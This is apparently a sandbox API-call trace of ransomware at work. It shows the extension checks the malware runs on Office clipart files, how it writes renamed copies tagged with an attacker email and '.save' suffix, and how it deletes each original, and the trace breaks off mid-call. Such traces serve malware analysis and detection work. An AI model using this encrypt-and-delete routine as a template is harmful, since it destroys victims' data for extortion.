[0078.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.690] lstrlenW (lpString=".zip") returned 4 [0078.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.690] lstrlenW (lpString=".rar") returned 4 [0078.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.691] lstrlenW (lpString=".bz2") returned 4 [0078.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.691] lstrlenW (lpString=".7z") returned 3 [0078.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.691] lstrlenW (lpString=".dbf") returned 4 [0078.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.691] lstrlenW (lpString=".1cd") returned 4 [0078.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.691] lstrlenW (lpString=".jpg") returned 4 [0078.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.692] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.692] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0078.693] GetLastError () returned 0x0 [0078.693] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x136a, lpOverlapped=0x0) returned 1 [0079.087] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1370, lpOverlapped=0x0) returned 1 [0079.088] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.088] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.088] SetEndOfFile (hFile=0x314) returned 1 [0079.089] CloseHandle (hObject=0x314) returned 1 [0079.089] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.089] SetEndOfFile (hFile=0x30c) returned 1 [0079.090] CloseHandle (hObject=0x30c) returned 1 [0079.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.093] lstrlenW (lpString=".doc") returned 4 [0079.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.093] lstrlenW (lpString=".docx") returned 5 [0079.093] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0079.093] lstrlenW (lpString=".pdf") returned 4 [0079.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.093] lstrlenW (lpString=".xls") returned 4 [0079.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.093] lstrlenW (lpString=".xlsx") returned 5 [0079.093] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0079.094] lstrlenW (lpString=".ppt") returned 4 [0079.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.094] lstrlenW (lpString=".zip") returned 4 [0079.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.094] lstrlenW (lpString=".rar") returned 4 [0079.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.094] lstrlenW (lpString=".bz2") returned 4 [0079.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.094] lstrlenW (lpString=".7z") returned 3 [0079.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.094] lstrlenW (lpString=".dbf") returned 4 [0079.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.094] lstrlenW (lpString=".1cd") returned 4 [0079.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0079.094] lstrlenW (lpString=".jpg") returned 4 [0079.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.095] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.095] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.096] GetLastError () returned 0x0 [0079.096] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x25c7, lpOverlapped=0x0) returned 1 [0079.098] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x25d0, lpOverlapped=0x0) returned 1 [0079.100] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.100] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.100] SetEndOfFile (hFile=0x314) returned 1 [0079.100] CloseHandle (hObject=0x314) returned 1 [0079.100] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.100] SetEndOfFile (hFile=0x30c) returned 1 [0079.102] CloseHandle (hObject=0x30c) returned 1 [0079.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.103] lstrlenW (lpString=".doc") returned 4 [0079.103] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.103] lstrlenW (lpString=".docx") returned 5 [0079.103] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0079.103] lstrlenW (lpString=".pdf") returned 4 [0079.103] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.103] lstrlenW (lpString=".xls") returned 4 [0079.103] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.103] lstrlenW (lpString=".xlsx") returned 5 [0079.103] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0079.103] lstrlenW (lpString=".ppt") returned 4 [0079.103] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.103] lstrlenW (lpString=".zip") returned 4 [0079.103] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.103] lstrlenW (lpString=".rar") returned 4 [0079.104] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.104] lstrlenW (lpString=".bz2") returned 4 [0079.104] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.104] lstrlenW (lpString=".7z") returned 3 [0079.104] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.104] lstrlenW (lpString=".dbf") returned 4 [0079.104] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.104] lstrlenW (lpString=".1cd") returned 4 [0079.104] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0079.104] lstrlenW (lpString=".jpg") returned 4 [0079.104] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.105] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.105] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.106] GetLastError () returned 0x0 [0079.106] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x6630, lpOverlapped=0x0) returned 1 [0079.109] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x6640, lpOverlapped=0x0) returned 1 [0079.110] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.111] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.111] SetEndOfFile (hFile=0x314) returned 1 [0079.111] CloseHandle (hObject=0x314) returned 1 [0079.111] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.111] SetEndOfFile (hFile=0x30c) returned 1 [0079.112] CloseHandle (hObject=0x30c) returned 1 [0079.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0079.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.114] lstrlenW (lpString=".doc") returned 4 [0079.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.114] lstrlenW (lpString=".docx") returned 5 [0079.114] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0079.114] lstrlenW (lpString=".pdf") returned 4 [0079.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.114] lstrlenW (lpString=".xls") returned 4 [0079.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.114] lstrlenW (lpString=".xlsx") returned 5 [0079.114] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0079.114] lstrlenW (lpString=".ppt") returned 4 [0079.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.114] lstrlenW (lpString=".zip") returned 4 [0079.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.114] lstrlenW (lpString=".rar") returned 4 [0079.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.115] lstrlenW (lpString=".bz2") returned 4 [0079.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.115] lstrlenW (lpString=".7z") returned 3 [0079.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.115] lstrlenW (lpString=".dbf") returned 4 [0079.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.115] lstrlenW (lpString=".1cd") returned 4 [0079.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0079.115] lstrlenW (lpString=".jpg") returned 4 [0079.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.117] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.117] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.118] GetLastError () returned 0x0 [0079.118] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0079.120] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0079.484] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.484] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.484] SetEndOfFile (hFile=0x314) returned 1 [0079.484] CloseHandle (hObject=0x314) returned 1 [0079.484] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.484] SetEndOfFile (hFile=0x30c) returned 1 [0079.486] CloseHandle (hObject=0x30c) returned 1 [0079.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0079.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.487] lstrlenW (lpString=".doc") returned 4 [0079.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.487] lstrlenW (lpString=".docx") returned 5 [0079.487] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0079.487] lstrlenW (lpString=".pdf") returned 4 [0079.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString=".xls") returned 4 [0079.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.488] lstrlenW (lpString=".xlsx") returned 5 [0079.488] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0079.488] lstrlenW (lpString=".ppt") returned 4 [0079.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.488] lstrlenW (lpString=".zip") returned 4 [0079.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.488] lstrlenW (lpString=".rar") returned 4 [0079.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString=".bz2") returned 4 [0079.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString=".7z") returned 3 [0079.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.488] lstrlenW (lpString=".dbf") returned 4 [0079.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.488] lstrlenW (lpString=".1cd") returned 4 [0079.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0079.488] lstrlenW (lpString=".jpg") returned 4 [0079.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.490] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.490] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.491] GetLastError () returned 0x0 [0079.491] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0079.493] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0079.504] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.504] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.505] SetEndOfFile (hFile=0x314) returned 1 [0079.505] CloseHandle (hObject=0x314) returned 1 [0079.505] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.505] SetEndOfFile (hFile=0x30c) returned 1 [0079.506] CloseHandle (hObject=0x30c) returned 1 [0079.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0079.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.508] lstrlenW (lpString=".doc") returned 4 [0079.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.508] lstrlenW (lpString=".docx") returned 5 [0079.508] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0079.508] lstrlenW (lpString=".pdf") returned 4 [0079.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.508] lstrlenW (lpString=".xls") returned 4 [0079.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.508] lstrlenW (lpString=".xlsx") returned 5 [0079.508] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0079.508] lstrlenW (lpString=".ppt") returned 4 [0079.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.508] lstrlenW (lpString=".zip") returned 4 [0079.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.508] lstrlenW (lpString=".rar") returned 4 [0079.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.508] lstrlenW (lpString=".bz2") returned 4 [0079.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.508] lstrlenW (lpString=".7z") returned 3 [0079.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.509] lstrlenW (lpString=".dbf") returned 4 [0079.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.509] lstrlenW (lpString=".1cd") returned 4 [0079.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0079.509] lstrlenW (lpString=".jpg") returned 4 [0079.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.510] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.510] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.511] GetLastError () returned 0x0 [0079.511] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, 